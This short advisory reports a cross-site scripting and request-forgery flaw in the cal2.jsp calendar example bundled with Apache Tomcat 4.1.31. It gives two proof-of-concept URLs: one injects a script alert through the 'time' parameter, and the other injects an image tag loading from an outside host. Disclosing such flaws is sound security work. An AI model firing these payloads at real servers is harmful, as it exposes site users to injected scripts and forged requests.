Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.
XSS http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3eale rt("XSS!")%3c%2fscript%3e
XSRF http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http: //xsrfxonfirmed.com/testimage.gif">